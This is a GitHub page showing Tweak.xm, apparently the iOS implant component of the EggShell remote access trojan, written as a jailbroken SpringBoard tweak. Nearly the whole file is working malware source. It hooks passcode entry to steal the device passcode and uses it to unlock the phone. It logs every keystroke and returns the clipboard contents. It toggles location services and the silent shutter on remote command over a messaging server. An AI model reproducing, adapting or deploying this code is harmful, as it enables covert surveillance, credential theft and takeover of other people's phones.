forked from The404Hacking/EggShell-RAT
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathTweak.xm
More file actions
201 lines (188 loc) · 7.18 KB
/
Copy pathTweak.xm
File metadata and controls
201 lines (188 loc) · 7.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
#import "header.h"
#import <AppSupport/CPDistributedMessagingCenter.h>
%hook SpringBoard
SBMediaController *fmedia;
NSString *passcode;
NSString *keyLog;
-(void)applicationDidFinishLaunching:(id)application {
%orig;
fmedia = (SBMediaController *)[%c(SBMediaController) sharedInstance];
CPDistributedMessagingCenter *messagingCenter = [CPDistributedMessagingCenter centerNamed:@"com.sysserver"];
[messagingCenter runServerOnCurrentThread];
[messagingCenter registerForMessageName:@"commandWithNoReply" target:self selector:@selector(commandWithNoReply:withUserInfo:)];
[messagingCenter registerForMessageName:@"commandWithReply" target:self selector:@selector(commandWithReply:withUserInfo:)];
}
%new
-(void)commandWithNoReply:(NSString *)name withUserInfo:(NSDictionary *)userInfo {
NSString *command = [userInfo objectForKey:@"cmd"];
if ([command isEqual:@"play"]) {
[(SBMediaController *)[%c(SBMediaController) sharedInstance] play];
}
else if ([command isEqual:@"pause"]) {
if ([(SBMediaController *)[%c(SBMediaController) sharedInstance] isPlaying]) {
[(SBMediaController *)[%c(SBMediaController) sharedInstance] togglePlayPause];
}
}
else if ([command isEqual:@"next"]) {
[(SBMediaController *)[%c(SBMediaController) sharedInstance] changeTrack:1];
}
else if ([command isEqual:@"prev"]) {
[(SBMediaController *)[%c(SBMediaController) sharedInstance] changeTrack:-1];
}
else if ([command isEqual:@"home"]) {
if ([(SBUIController *)[%c(SBUIController) sharedInstance] respondsToSelector:@selector(handleHomeButtonSinglePressUp)]) {
[(SBUIController *)[%c(SBUIController) sharedInstance] handleHomeButtonSinglePressUp];
}
else if ([(SBUIController *)[%c(SBUIController) sharedInstance] respondsToSelector:@selector(clickedMenuButton)]) {
[(SBUIController *)[%c(SBUIController) sharedInstance] clickedMenuButton];
}
}
else if ([command isEqual:@"lock"]) {
[(SBUserAgent *)[%c(SBUserAgent) sharedUserAgent] lockAndDimDevice];
}
else if ([command isEqual:@"wake"]) {
[(SBBacklightController *)[%c(SBBacklightController) sharedInstance] cancelLockScreenIdleTimer];
[(SBBacklightController *)[%c(SBBacklightController) sharedInstance] turnOnScreenFullyWithBacklightSource:1];
}
else if ([command isEqual:@"record"]) {
[self performSelector:@selector(initRecord) withObject:nil afterDelay:0];
}
else if ([command isEqual:@"doublehome"]) {
if ([(SBUIController *)[%c(SBUIController) sharedInstance] respondsToSelector:@selector(handleHomeButtonDoublePressDown)]) {
[(SBUIController *)[%c(SBUIController) sharedInstance] handleHomeButtonDoublePressDown];
}
else if ([(SBUIController *)[%c(SBUIController) sharedInstance] respondsToSelector:@selector(handleMenuDoubleTap)]) {
[(SBUIController *)[%c(SBUIController) sharedInstance] handleMenuDoubleTap];
}
}
else if ([command isEqual:@"undisabled"]) {
[(SBDeviceLockController *)[%c(SBDeviceLockController) sharedController] _clearBlockedState];
}
else if ([command isEqual:@"silenceShutter"]) {
if (!fmedia.ringerMuted) { //if not muted, toggle mute
[fmedia setRingerMuted:!fmedia.ringerMuted];
}
}
else if ([command isEqual:@"togglemute"]) {
[(VolumeControl *)[%c(VolumeControl) sharedVolumeControl] toggleMute];
[fmedia setRingerMuted:!fmedia.ringerMuted];
}
else if ([command isEqual:@"keylogclear"]) {
keyLog = @"";
}
else if ([command isEqual:@"locationon"]) {
[%c(CLLocationManager) setLocationServicesEnabled:true];
}
else if ([command isEqual:@"locationoff"]) {
[%c(CLLocationManager) setLocationServicesEnabled:false];
}
}
%new
- (NSDictionary *)commandWithReply:(NSString *)name withUserInfo:(NSDictionary *)userInfo {
NSString *command = [userInfo objectForKey:@"cmd"];
if ([command isEqual:@"getpasscode"]) {
NSString *result = @"";
if (passcode != NULL)
result = passcode;
else
result = @"We have not obtained passcode yet";
return [NSDictionary dictionaryWithObject:result forKey:@"returnStatus"];
}
else if ([command isEqual:@"lastapp"]) {
SBApplicationIcon *iconcontroller = [(SBIconController *)[%c(SBIconController) sharedInstance] lastTouchedIcon];
if (NSString *lastapp = iconcontroller.nodeIdentifier)
return [NSDictionary dictionaryWithObject:lastapp forKey:@"returnStatus"];
return [NSDictionary dictionaryWithObject:@"none" forKey:@"returnStatus"];
}
else if ([command isEqual:@"islocked"]) {
if ([(SBLockScreenManager *)[%c(SBLockScreenManager) sharedInstance] isUILocked])
return [NSDictionary dictionaryWithObject:@"true" forKey:@"returnStatus"];
return [NSDictionary dictionaryWithObject:@"false" forKey:@"returnStatus"];
}
else if ([command isEqual:@"ismuted"]) {
NSString *result = @"";
if (fmedia.ringerMuted)
result = @"true";
else
result = @"false";
return [NSDictionary dictionaryWithObject:result forKey:@"returnStatus"];
}
else if ([command isEqual:@"unlock"]) {
NSString *result = @"";
if (passcode != NULL)
[(SBLockScreenManager *)[%c(SBLockScreenManager) sharedInstance] attemptUnlockWithPasscode:passcode];
else
result = @"We have not obtained passcode yet";
return [NSDictionary dictionaryWithObject:result forKey:@"returnStatus"];
}
else if ([command isEqual:@"keylog"]) {
NSString *result = @"";
if (keyLog != NULL) {
result = keyLog;
}
else {
result = @"Listening...";
}
return [NSDictionary dictionaryWithObject:result forKey:@"returnStatus"];
}
else if ([command isEqual:@"getpaste"]) {
return [NSDictionary dictionaryWithObject:[UIPasteboard generalPasteboard].items[0] forKey:@"returnStatus"];
}
return [NSDictionary dictionaryWithObject:[NSNumber numberWithInt:1] forKey:@"returnStatus"];
}
%end
//log passcode
%hook SBLockScreenManager
-(void)attemptUnlockWithPasscode:(id)arg1 {
%orig;
passcode = [[NSString alloc] initWithFormat:@"%@", arg1];
[(SBBacklightController *)[%c(SBBacklightController) sharedInstance] cancelLockScreenIdleTimer];
[(SBBacklightController *)[%c(SBBacklightController) sharedInstance] turnOnScreenFullyWithBacklightSource:1];
}
/* depricated
-(BOOL)attemptUnlockWithPasscode:(id)arg1 {
bool success = %orig;
if ([[[NSString alloc] initWithFormat:@"%@", arg1] isEqual:@"1"]) {
return true;
}
if (success) {
passcode = [[NSString alloc] initWithFormat:@"%@", arg1];
}
return success;
}
*/
%end
@interface UIKBTree : NSObject
@property(retain, nonatomic) NSString *displayString;
@end
%hook UIKeyboardLayoutStar
- (void)touchDownWithKey:(id)arg1 atPoint:(struct CGPoint)arg2 executionContext:(id)arg3 {
NSLog(@"this key was pressed %@",arg1);
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
UIKBTree *kbtree = arg1;
NSString *text = kbtree.displayString;
if ([text isEqual: @"space"])
text = @" ";
else if ([text isEqual: @"Search"]) {
text = @"<Search>";
}
else if ([text isEqual: @"delete"]) {
text = @"<delete>";
}
else if ([text isEqual: @"ABC"]) {
text = @"<ABC>";
}
else if ([text isEqual: @"123"]) {
text = @"<123>";
}
else if ([text isEqual: @"(null)"]) {
text = @"";
}
if (keyLog == NULL) {
keyLog = @"";
}
keyLog = [[NSString alloc] initWithFormat:@"%@%@",keyLog,text];
});
%orig;
}
%end